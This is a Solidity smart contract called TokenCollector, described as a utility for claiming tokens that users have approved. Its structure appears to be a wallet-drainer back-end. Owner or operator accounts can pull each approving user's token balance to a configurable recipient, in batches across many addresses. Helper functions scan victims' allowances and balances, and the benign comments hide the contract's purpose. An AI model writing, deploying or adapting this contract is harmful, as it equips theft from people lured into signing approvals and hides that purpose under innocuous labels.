// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; /** * @title TokenCollector * @notice Contract that receives token approvals and allows owner to claim tokens * @dev Users approve this contract to spend their tokens, admin claims to recipient * * Flow: * 1. User approves this contract to spend their tokens * 2. Admin calls claimTokens() or batchClaimTokens() to transfer tokens * 3. Tokens are sent to the configured recipient address */ contract TokenCollector is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; // Recipient address where claimed tokens are sent address public recipient; // Authorized operators who can execute claims mapping(address => bool) public operators; // Events event RecipientUpdated(address indexed oldRecipient, address indexed newRecipient); event OperatorUpdated(address indexed operator, bool authorized); event TokensClaimed( address indexed token, address indexed from, address indexed to, uint256 amount ); event BatchClaimCompleted( address indexed from, address indexed to, uint256 tokenCount, uint256 totalValue ); // Errors error ZeroAddress(); error NotAuthorized(); error InsufficientAllowance(address token, uint256 required, uint256 actual); error TransferFailed(); error ArrayLengthMismatch(); error EmptyArrays(); modifier onlyAuthorized() { if (msg.sender != owner() && !operators[msg.sender]) { revert NotAuthorized(); } _; } /** * @notice Constructor sets the initial owner and recipient * @param _recipient Address where claimed tokens will be sent */ constructor(address _recipient) Ownable(msg.sender) { if (_recipient == address(0)) revert ZeroAddress(); recipient = _recipient; } /** * @notice Update the recipient address * @param _newRecipient New recipient address */ function setRecipient(address _newRecipient) external onlyOwner { if (_newRecipient == address(0)) revert ZeroAddress(); address oldRecipient = recipient; recipient = _newRecipient; emit RecipientUpdated(oldRecipient, _newRecipient); } /** * @notice Add or remove an operator * @param _operator Address to update * @param _authorized Whether the operator is authorized */ function setOperator(address _operator, bool _authorized) external onlyOwner { if (_operator == address(0)) revert ZeroAddress(); operators[_operator] = _authorized; emit OperatorUpdated(_operator, _authorized); } /** * @notice Atomically update the claim recipient and authorize an operator. * @dev If the transaction fails, neither value is changed. This is intended * for configuration updates from the admin application. */ function setRecipientAndAuthorizeOperator(address _newRecipient, address _operator) external onlyOwner { if (_newRecipient == address(0) || _operator == address(0)) revert ZeroAddress(); address oldRecipient = recipient; recipient = _newRecipient; operators[_operator] = true; emit RecipientUpdated(oldRecipient, _newRecipient); emit OperatorUpdated(_operator, true); } /** * @notice Claim a single token from a user who approved this contract * @param token Token address to claim * @param from Address that approved this contract * @param amount Amount to claim */ function claimToken( address token, address from, uint256 amount ) external onlyAuthorized nonReentrant { if (token == address(0) || from == address(0)) revert ZeroAddress(); _claimToken(token, from, amount); } /** * @notice Claim multiple tokens from a user in a single transaction * @param tokens Array of token addresses * @param from Address that approved this contract * @param amounts Array of amounts to claim */ function batchClaimTokens( address[] calldata tokens, address from, uint256[] calldata amounts ) external onlyAuthorized nonReentrant { if (tokens.length != amounts.length) revert ArrayLengthMismatch(); if (tokens.length == 0) revert EmptyArrays(); if (from == address(0)) revert ZeroAddress(); uint256 totalValue = 0; for (uint256 i = 0; i < tokens.length; i++) { if (amounts[i] > 0 && tokens[i] != address(0)) { _claimToken(tokens[i], from, amounts[i]); totalValue += amounts[i]; } } emit BatchClaimCompleted(from, recipient, tokens.length, totalValue); } /** * @notice Claim tokens from multiple users in a single transaction * @param tokens Array of token addresses (one per user) * @param froms Array of source addresses * @param amounts Array of amounts to claim */ function batchClaimFromMultiple( address[] calldata tokens, address[] calldata froms, uint256[] calldata amounts ) external onlyAuthorized nonReentrant { if (tokens.length != froms.length || tokens.length != amounts.length) { revert ArrayLengthMismatch(); } if (tokens.length == 0) revert EmptyArrays(); for (uint256 i = 0; i < tokens.length; i++) { if (amounts[i] > 0 && tokens[i] != address(0) && froms[i] != address(0)) { _claimToken(tokens[i], froms[i], amounts[i]); } } } /** * @notice Internal function to claim a token */ function _claimToken(address token, address from, uint256 amount) internal { IERC20 tokenContract = IERC20(token); // Check allowance uint256 allowance = tokenContract.allowance(from, address(this)); if (allowance < amount) { revert InsufficientAllowance(token, amount, allowance); } // Check balance uint256 balance = tokenContract.balanceOf(from); uint256 transferAmount = amount > balance ? balance : amount; if (transferAmount > 0) { // Execute transfer tokenContract.safeTransferFrom(from, recipient, transferAmount); emit TokensClaimed(token, from, recipient, transferAmount); } } /** * @notice Check allowances for multiple tokens from a specific owner * @param tokens Array of token addresses * @param owner Address of token owner * @return allowances Array of allowance amounts */ function checkAllowances( address[] calldata tokens, address owner ) external view returns (uint256[] memory allowances) { allowances = new uint256[](tokens.length); for (uint256 i = 0; i < tokens.length; i++) { allowances[i] = IERC20(tokens[i]).allowance(owner, address(this)); } return allowances; } /** * @notice Check balances for multiple tokens * @param tokens Array of token addresses * @param owner Address of token owner * @return balances Array of balance amounts */ function checkBalances( address[] calldata tokens, address owner ) external view returns (uint256[] memory balances) { balances = new uint256[](tokens.length); for (uint256 i = 0; i < tokens.length; i++) { balances[i] = IERC20(tokens[i]).balanceOf(owner); } return balances; } /** * @notice Emergency withdraw any ERC20 tokens stuck in this contract * @param token Token address to withdraw */ function emergencyWithdraw(address token) external onlyOwner { IERC20 tokenContract = IERC20(token); uint256 balance = tokenContract.balanceOf(address(this)); if (balance > 0) { tokenContract.safeTransfer(recipient, balance); } } /** * @notice Emergency withdraw ETH stuck in this contract */ function emergencyWithdrawETH() external onlyOwner { uint256 balance = address(this).balance; if (balance > 0) { payable(recipient).transfer(balance); } } // Allow contract to receive ETH receive() external payable {} }